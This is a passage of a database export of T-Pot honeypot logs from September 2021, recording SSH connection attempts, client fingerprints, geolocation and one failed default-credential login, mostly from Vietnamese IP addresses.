.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58698, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.650457", "@timestamp": "2021-09-20T11:06:52.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21515	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:52.818591+03	2021-09-20 14:15:03.761646+03	{"_id": "nAbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57908, "timestamp": "2021-09-20T11:06:52.818591", "@timestamp": "2021-09-20T11:06:52.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21516	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:52.913478+03	2021-09-20 14:15:03.762643+03	{"_id": "nQbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57920, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.913478", "@timestamp": "2021-09-20T11:06:52.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21517	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:52.949021+03	2021-09-20 14:15:03.763642+03	{"_id": "ngbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59990, "timestamp": "2021-09-20T11:06:52.949021", "@timestamp": "2021-09-20T11:06:52.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21569	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:06:31.917726+03	2021-09-20 14:15:03.828612+03	{"_id": "ngXiAnwBvYTbRNuE1v-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:06:31.917726Z", "@timestamp": "2021-09-20T11:06:31.917Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
21519	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.73573+03	2021-09-20 14:15:03.765642+03	{"_id": "oAbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [username/password] failed", "session": "aa6caafc3c9b", "@version": "1", "password": "password", "username": "username", "timestamp": "2021-09-20T11:06:52.735730Z", "@timestamp": "2021-09-20T11:06:52.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21520	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:52.846049+03	2021-09-20 14:15:03.767646+03	{"_id": "oQbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6c67bb7f16fc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:52.846049Z", "@timestamp": "2021-09-20T11:06:52.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21521	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.947427+03	2021-09-20 14:15:03.768643+03	{"_id": "ogbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1f9927d187ae", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:52.947427Z", "@timestamp": "2021-09-20T11:06:52.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21522	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:53.017973+03	2021-09-20 14:15:03.769614+03	{"_id": "owbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d7c819b86e5f", "@version": "1", "timestamp": "2021-09-20T11:06:53.017973Z", "@timestamp": "2021-09-20T11:06:53.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21523	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:52.912352+03	2021-09-20 14:15:03.771642+03	{"_id": "pQbjAnwBvYTbRNuEKAO_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1929659739295291, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57920, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.912352Z", "@timestamp": "2021-09-20T11:06:52.912Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21524	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.736646+03	2021-09-20 14:15:03.772645+03	{"_id": "zQbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49558 (192.168.176.2:22) [session: f86d8dbebc6a]", "session": "f86d8dbebc6a", "@version": "1", "protocol": "ssh", "src_port": 49558, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.736646Z", "@timestamp": "2021-09-20T11:06:53.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21525	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.861789+03	2021-09-20 14:15:03.773649+03	{"_id": "zgbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:50890 (192.168.176.2:22) [session: 5dc9ab4fe927]", "session": "5dc9ab4fe927", "@version": "1", "protocol": "ssh", "src_port": 50890, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.861789Z", "@timestamp": "2021-09-20T11:06:53.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21526	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.942555+03	2021-09-20 14:15:03.774643+03	{"_id": "0AbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51880 (192.168.176.2:22) [session: 527431374750]", "session": "527431374750", "@version": "1", "protocol": "ssh", "src_port": 51880, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.942555Z", "@timestamp": "2021-09-20T11:06:53.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21527	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:53.015629+03	2021-09-20 14:15:03.775645+03	{"_id": "3gbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 